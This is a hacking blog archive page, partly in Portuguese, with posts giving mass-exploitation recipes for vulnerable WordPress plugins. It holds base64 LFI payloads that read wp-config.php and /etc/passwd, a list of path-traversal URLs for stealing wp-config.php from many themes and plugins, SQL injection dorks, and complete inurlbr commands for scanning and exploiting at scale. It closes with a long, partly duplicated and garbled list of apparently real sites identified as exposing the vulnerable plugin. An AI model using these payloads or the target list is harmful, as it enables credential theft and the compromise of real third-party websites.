Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

Mostrando postagens com marcador plugin. Mostrar todas as postagens
Mostrando postagens com marcador plugin. Mostrar todas as postagens

quarta-feira, 24 de junho de 2015

WordPress RobotCPA Plugin V5 - Local File Inclusion - MASS EXPLOIT INURLBR

Exploring theme Plugin RobotCPA V5 CMS wordpress

Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include Exploit Author: T3N38R15 Vendor Homepage: http://robot-cpa.good-info.co/ Version: 5V Tested on: Windows (Firefox) / Linux (Firefox) Acess: https://www.exploit-db.com/exploits/37252/  The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion. We just need to base64 encode our injection.

Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include
Exploit Author: T3N38R15
Vendor Homepage: http://robot-cpa.good-info.co/
Version: 5V
Tested on: Windows (Firefox) / Linux (Firefox)
Acess: https://www.exploit-db.com/exploits/37252/


The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion.
We just need to base64 encode our injection.

POC:

string exploit:
php://filter/resource=./../../../wp-config.php
base64: cGhwOi8vZmlsdGVyL3Jlc291cmNlPS4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA==

string exploit: 
file:///etc/passwd
base64: 
ZmlsZTovLy9ldGMvcGFzc3dk

Exemple Injetion:
http://domain.com/wp-content/plugins/robotcpa/f.php?l={STRING_BASE64_XPL}

Mass exploitation with inurlbr
using get exploration parameters and scanner internal encoder

Exemple:
--exploit-get {you_get}
--exploit-get  "&index.php?id=10'´0x27"


base64 Encrypt values in base64.
     Example: base64({value})
     Usage:   base64(102030)
     Usage:   --exploit-get 'user?id=base64(102030)'

Let's use:
--exploit-get "&l=base64(file:///etc/passwd)"
or
--exploit-get "&l=base64(php://filter/resource=./../../../wp-config.php)"

Dork:
inurl:"/wp-content/plugins/robotcpa/"
inurl:"plugins/robotcpa/f.php?l="

Complete command
php inurlbr.php --dork 'inurl:"plugins/robotcpa/f.php?l="' --exploit-get "&l=base64(file:///etc/passwd)" -s vuln.txt -q 1,2,3,64

Internal validation script inurlbr

Exploring the server password file...

LOCAL FILE INCLUSION
Local File Inclusion (also known as LFI) is the process of including  files, that are already locally present on the server, through the  exploiting of vulnerable inclusion procedures implemented in the  application. 
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
$validation['LOCAL-FILE-INCLUSION-01'] = '/root:/';
$validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:';
$validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:';
Finding any of these values the script alert as vulnerable.
Exploring the server wp-config.php file...

CMS WORDPRESS
As the name suggests, if the web application doesn’t check the file name required by the user, any malicious user can exploit this vulnerability to download sensitive files from the server.
Arbitrary File Download vulnerability file wp-config.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure
$validation['CMS-WORDPRESS-01'] = "define('DB_NAME'";
$validation['CMS-WORDPRESS-02'] = "define('DB_USER'";
$validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
$validation['CMS-WORDPRESS-04'] = "define('DB_HOST'";
Finding any of these values the script alert as vulnerable.

OUTPUT: 

Download:
http://github.com/googleinurl/SCANNER-INURLBR

terça-feira, 9 de junho de 2015

WordPress Plugin 'WP Mobile Edition' LFI Vulnerability

Exploring wordpress plugin LFI using inurlbr in subprocess

Exploring wordpress plugin LFI using inurlbr in subprocess

Inurlbr Team
[+]=========== Assume NO ============[+]
 Liability and are not responsible
for any misuse or damage caused
 by this program!!
[+]==================================[+]

USAGE:

Make a file named payload .txt and put inside:
/wp-content/themes/mTheme-Unus/css/css.p­hp?files=../../../../wp-config.php

OTHER FAILURES(XPL's):

/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
/wp-content/force-download.php?file=../wp-config.php
/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php
/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php
/wp-content/themes/markant/download.php?file=../../wp-config.php
/wp-content/themes/yakimabait/download.php?file=./wp-config.php
/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php
/wp-content/themes/felis/download.php?file=../wp-config.php
/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php
/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/epic/includes/download.php?file=wp-config.php
/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php
/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php
/wp-content/themes/lote27/download.php?download=../../../wp-config.php
/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php
/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php
/wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php
/wp-content/plugins/aspose-doc-exporter/aspose_doc_exporter_download.php?file=../../../wp-config.php
/wp-content/plugins/aspose-cloud-ebook-generator/aspose_posts_exporter_download.php?file=../../../wp-config.php


EXPLOIT COMMAND:
php inurlbr.php --dork 'inurl:?fdx_switcher=mobile' -q [your favorite engines] -s scan.txt --get-file 'payload.txt' --sub-get --unique

Vídeo:



SCANNER INURLBR:
https://github.com/googleinurl/SCANNER-INURLBR

REF:
https://www.exploit-db.com/exploits/37244/
http://blog.inurl.com.br/2015/04/conceito-de-subprocess-scanner-inurlbr.html

terça-feira, 5 de agosto de 2014

Wordpress Lead-Octopus-Power plugin SQL INJECTION


                             0x Wordpress Lead-Octopus-Power plugin SQL INJECTION

Seguindo a serie de como não cria uma cms ops digo de como pequenos bugs em grandes cms são extremamente perigosos e a cada dia acabam se tornando mais comum sendo na própria cms ou em Plugins como ocorre no WordPress ou component que ocorre no Joomla.
Bom vamos la mais uma vez um bug no WordPress explorando SQL INJECTION dessa vez em um plugin vamos ao POC da vulnerabilidade para podemos encontra sites com esse bug usaremos a seguinte 

Dork inurl:wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=  

A falha fica localizada em

site.gov.br/wp-content/plugins/Lead-Octopus-Power/lib/optin/optin_page.php?id=[SQL]

terça-feira, 10 de junho de 2014

Exploit Participants Database <= 1.5.4.8 Wordpress

0xParticipants Database
Wordpress Participants Database 1.5.4.8 - SQL Injection

É um plugin Wordpress populares que oferece a funcionalidade necessária para construir e manter um banco de dados de pessoas.

É um plugin Wordpress populares que oferece a funcionalidade necessária para construir e manter um banco de dados de pessoas. 
Participants Database Wordpress Participants Database 1.5.4.8 - SQL Injection

- Detalhes sobre a Vulnerabilidade 

1.Devido ao privilégio insuficiente verifica que é possível para anonymous(unauthenticated) para desencadear algumas ações administrativas, se algum dos códigos de acesso é utilizado (por exemplo, inscrição de página).

2. A ação "export CSV" tem um parâmetro chamado "query" que pode conter uma consulta SQL arbitrária. 
Isso significa que um usuário não autenticado pode executar instruções SQL arbitrários (por exemplo, criar um usuário administrador, ler ou escrever arquivos ou executar código dependendo dos privilégios de usuário do MySQL).  

----------------------------------------------------------------------------------------------------------------------------------
0xEXPLOIT:
http://www.exploit-db.com/exploits/33613/


0xDORK[0]:"Index of" "/wp-content/uploads/participants-database"
0xDORK[1]:inurl:"pdb-signup/" "PDB signup"
0xDORK[2]:inurl:"pdb-signup/" intitle:"PDB signup "
----------------------------------------------------------------------------------------------------------------------------------
DEBUG:
Array
(
    [0] => Array
        (
        )

    [host] => www.google.com.br
    [dork] => %22Index+of%22+%22%2Fwp-content%2Fuploads%2Fparticipants-database%22
    [arquivo] => resultados.txt
    [tipoerro] => 2
    [exploit] =>
    [achar] => Index of /wp-content/uploads/participants-database
    [cmd] => ping -c 1 _ALVO_
    [ipProxy] =>
    [porta] =>
    [url] => /search?q=%22Index+of%22+%22%2Fwp-content%2Fuploads%2Fparticipants-database%22&num=1900&btnG=Search
    [port] => 80
)






RESULTADO PARCIAL:


http://webcache.googleusercontent.com/search?q=cache:kUL3synKmD0J:http://ebookily.org/xls/gassendi%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:WuVzKwF26PUJ:http://ebookily.org/xls/kathak-dress%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk

 http://webcache.googleusercontent.com/search?q=cache:OZ9vR__pkOgJ:http://www.tag.ubc.ca/iswnetwork.ca/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
 http://webcache.googleusercontent.com/search?q=cache:MS8BxtAMxoAJ:http://www.shreeyashmatrimonial.com/kiran/d/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:l8rmzvOyZOkJ:http://www.younguttarakhand.org/wp/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
 http://webcache.googleusercontent.com/search?q=cache:t43d046zpLQJ:http://partycrewgh.org/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:3kQuvZzwr6EJ:http://top3crew.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:gpBnRGnjbxcJ:http://sdara.com/sdarawebsite/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:nHBeHM57ojEJ:http://qsaudi.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:8yfwjuM8apgJ:http://www.blc-denver2.org/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk

http://webcache.googleusercontent.com/search?q=cache:1uEWo4ctyKYJ:http://www.csa.us/www/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:G64f413f7V4J:http://www.gcm73.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:vSoBRrZja70J:http://www.powercollaborative.org/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:VyTtsWKYn2gJ:http://cccc-houston.org/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
 http://webcache.googleusercontent.com/search?q=cache:BAh_697eT80J:http://www.mjbandofgold.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:Luc-zFtM2nEJ:http://www.gapfootball.org.au/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:R6DbMAITjosJ:http://www.4k-nn.ru/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
 http://webcache.googleusercontent.com/search?q=cache:1ZHqjROYqJ8J:http://www.bcscpa.com/bcs-blog/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:-4lNmZAQJTYJ:http://graceland4kids.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk

http://webcache.googleusercontent.com/search?q=cache:seg55mSkGSoJ:http://emeraldtigers.com.au/new_2013_website/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:nR8gLIEbCOEJ:http://artisanwineclub.com/index/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:cn3Yz66lQ-AJ:http://www.dsnyfamily.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:7W_fZ-33EVQJ:http://promovgroup.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://webcache.googleusercontent.com/search?q=cache:KT4lO7pNnswJ:http://www.rebbepiper.com/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk

 http://webcache.googleusercontent.com/search?q=cache:oujptjZTnnMJ:http://www.firt2013barcelona.org/wp-content/uploads/participants-database/%2B%22Index+of%22+%22/wp-content/uploads/participants-database%22&num=1900&hl=pt-BR&&ct=clnk
http://www.thrombose-cancer.com/wp-content/uploads/participants-database/
http://www.iaodapca.org/wp-content/uploads/participants-database/
http://steppingstoneschina.net/wp-content/uploads/participants-database/
http://leg0lad.com/wp-content/uploads/participants-database/
http://www.nuis.co.il/wp-content/uploads/participants-database/
http://www.bikesforhumanity.com.au/wp-content/uploads/participants-database/
http://lanj.org/wp-content/uploads/participants-database/
http://gearupnv.org/wp-content/uploads/participants-database/
http://www.chruit.ch/wp-content/uploads/participants-database/
http://comartspartner.org/wp-content/uploads/participants-database/
http://thezonegroup.com/wp-content/uploads/participants-database/
http://www.alleywatch.com/wp-content/uploads/participants-database/
http://www.fundraisingwithcheese.com/wp-content/uploads/participants-database/
http://lifespringcommunitychurch.net/wp-content/uploads/participants-database/
http://www.wright-b-flyer.org/wp-content/uploads/participants-database/
http://www.fastenershows.com/wp-content/uploads/participants-database/
http://www.agavs.ca/wp-content/uploads/participants-database/
http://d70toastmasters.org.au/wp-content/uploads/participants-database/
http://lincolnillinois.com/wp-content/uploads/participants-database/
http://highbrookrotary.org.nz/wp-content/uploads/participants-database/
http://ptfund.org/wp-content/uploads/participants-database/
http://utahvalley360.com/wp-content/uploads/participants-database/
http://bamta.org/wp-content/uploads/participants-database/
http://nwapa.net/wp-content/uploads/participants-database/
http://victoryparkandsell.com/wp-content/uploads/participants-database/
http://nantmp.org.ng/wp-content/uploads/participants-database/
http://saafrica.org/wp-content/uploads/participants-database/
http://www.atpca.com.au/wp-content/uploads/participants-database/
http://uwtwinregistry.org/wp-content/uploads/participants-database/
http://swiggis-austin.org/wp-content/uploads/participants-database/
http://www.churchspirituallifenh.org/wp-content/uploads/participants-database/
http://mac.mb.ca/wp-content/uploads/participants-database/
http://www.mwphglotx.org/wp-content/uploads/participants-database/
http://www.diinstitute.org/wp-content/uploads/participants-database/
http://www.sbsonline.com.au/wp-content/uploads/participants-database/
http://soulmotion.com/wp-content/uploads/participants-database/
http://www.vancouveraikido.com/wp-content/uploads/participants-database/
http://www.isce.org.uk/wp-content/uploads/participants-database/
http://www.celinamercer.com/wp-content/uploads/participants-database/
http://www.cmtnl.ca/wp-content/uploads/participants-database/
http://www.saror
http://www.thrombose-cancer.com/wp-content/uploads/participants-database/
http://www.iaodapca.org/wp-content/uploads/participants-database/
http://steppingstoneschina.net/wp-content/uploads/participants-database/
http://leg0lad.com/wp-content/uploads/participants-database/
http://www.nuis.co.il/wp-content/uploads/participants-database/
http://www.bikesforhumanity.com.au/wp-content/uploads/participants-database/
http://lanj.org/wp-content/uploads/participants-database/
http://gearupnv.org/wp-content/uploads/participants-database/
http://www.chruit.ch/wp-content/uploads/participants-database/
http://comartspartner.org/wp-content/uploads/participants-database/
http://thezonegroup.com/wp-content/uploads/participants-database/
http://www.alleywatch.com/wp-content/uploads/participants-database/
http://www.fundraisingwithcheese.com/wp-content/uploads/participants-database/
http://lifespringcommunitychurch.net/wp-content/uploads/participants-database/
http://www.wright-b-flyer.org/wp-content/uploads/participants-database/
http://www.fastenershows.com/wp-content/uploads/participants-database/
http://www.agavs.ca/wp-content/uploads/participants-database/
http://d70toastmasters.org.au/wp-content/uploads/participants-database/
http://lincolnillinois.com/wp-content/uploads/participants-database/
http://highbrookrotary.org.nz/wp-content/uploads/participants-database/
http://ptfund.org/wp-content/uploads/participants-database/
http://utahvalley360.com/wp-content/uploads/participants-database/
http://bamta.org/wp-content/uploads/participants-database/
http://nwapa.net/wp-content/uploads/participants-database/
http://victoryparkandsell.com/wp-content/uploads/participants-database/
http://nantmp.org.ng/wp-content/uploads/participants-database/
http://saafrica.org/wp-content/uploads/participants-database/
http://www.atpca.com.au/wp-content/uploads/participants-database/
http://uwtwinregistry.org/wp-content/uploads/participants-database/
http://swiggis-austin.org/wp-content/uploads/participants-database/
http://www.churchspirituallifenh.org/wp-content/uploads/participants-database/
http://mac.mb.ca/wp-content/uploads/participants-database/
http://www.mwphglotx.org/wp-content/uploads/participants-database/
http://www.diinstitute.org/wp-content/uploads/participants-database/
http://www.sbsonline.com.au/wp-content/uploads/participants-database/
http://soulmotion.com/wp-content/uploads/participants-database/
http://www.vancouveraikido.com/wp-content/uploads/participants-database/
http://www.isce.org.uk/wp-content/uploads/participants-database/
http://www.celinamercer.com/wp-content/uploads/participants-database/
http://www.cmtnl.ca/wp-content/uploads/participants-database/
http://www.saroregon.org/wp-content/uploads/participants-database/
http://welshchoir.ca/wp-content/uploads/participants-database/
http://www.pnmc-hsr.org/wp-content/uploads/participants-database/
http://annwagner.com/wp-content/uploads/participants-database/
http://iyba.lasalle.org/wp-content/uploads/participants-database/
http://lpforest.org/wp-content/uploads/participants-database/
http://www.aedunlv.org/wp-content/uploads/participants-database/
http://walkabout.happeningfish.com/wp-content/uploads/participants-database/
http://www.northernarizonaaudubon.org/wp-content/uploads/participants-database/
http://claysportsirl.ie/wp-content/uploads/participants-database/
http://polyathlon-russia.com/wp-content/uploads/participants-database/
http://luislondon.com/wp-content/uploads/participants-database/
http://whatcomwritersandpublishers.org/wp-content/uploads/participants-database/
http://www.financesmediterranee.com/wp-content/uploads/participants-database/
http://bitroop1496.org/wp-content/uploads/participants-database/
http://www.firt2013barcelona.org/wp-content/uploads/participants-database/
http://www.rebbepiper.com/wp-content/uploads/participants-database/
http://promovgroup.com/wp-content/uploads/participants-database/
http://www.mjbandofgold.com/wp-content/uploads/participants-database/
http://cccc-houston.org/wp-content/uploads/participants-database/
http://www.powercollaborative.org/wp-content/uploads/participants-database/
http://www.isarmc.org/wp-content/uploads/participants-database/
http://www.blc-denver2.org/wp-content/uploads/participants-database/
http://qsaudi.com/wp-content/uploads/participants-database/
http://erosrws.com/wp-content/uploads/participants-database/
http://top3crew.com/wp-content/uploads/participants-database/
http://partycrewgh.org/wp-content/uploads/participants-database/egon.org/wp-content/uploads/participants-database/
http://welshchoir.ca/wp-content/uploads/participants-database/
http://www.pnmc-hsr.org/wp-content/uploads/participants-database/
http://annwagner.com/wp-content/uploads/participants-database/
http://iyba.lasalle.org/wp-content/uploads/participants-database/
http://lpforest.org/wp-content/uploads/participants-database/
http://www.aedunlv.org/wp-content/uploads/participants-database/
http://walkabout.happeningfish.com/wp-content/uploads/participants-database/
http://www.northernarizonaaudubon.org/wp-content/uploads/participants-database/
http://claysportsirl.ie/wp-content/uploads/participants-database/
http://polyathlon-russia.com/wp-content/uploads/participants-database/
http://luislondon.com/wp-content/uploads/participants-database/
http://whatcomwritersandpublishers.org/wp-content/uploads/participants-database/
http://www.financesmediterranee.com/wp-content/uploads/participants-database/
http://bitroop1496.org/wp-content/uploads/participants-database/
http://www.firt2013barcelona.org/wp-content/uploads/participants-database/
http://www.rebbepiper.com/wp-content/uploads/participants-database/
http://promovgroup.com/wp-content/uploads/participants-database/
http://www.mjbandofgold.com/wp-content/uploads/participants-database/
http://cccc-houston.org/wp-content/uploads/participants-database/
http://www.powercollaborative.org/wp-content/uploads/participants-database/
http://www.isarmc.org/wp-content/uploads/participants-database/
http://www.blc-denver2.org/wp-content/uploads/participants-database/
http://qsaudi.com/wp-content/uploads/participants-database/
http://erosrws.com/wp-content/uploads/participants-database/
http://top3crew.com/wp-content/uploads/participants-database/
http://partycrewgh.org/wp-content/uploads/participants-database/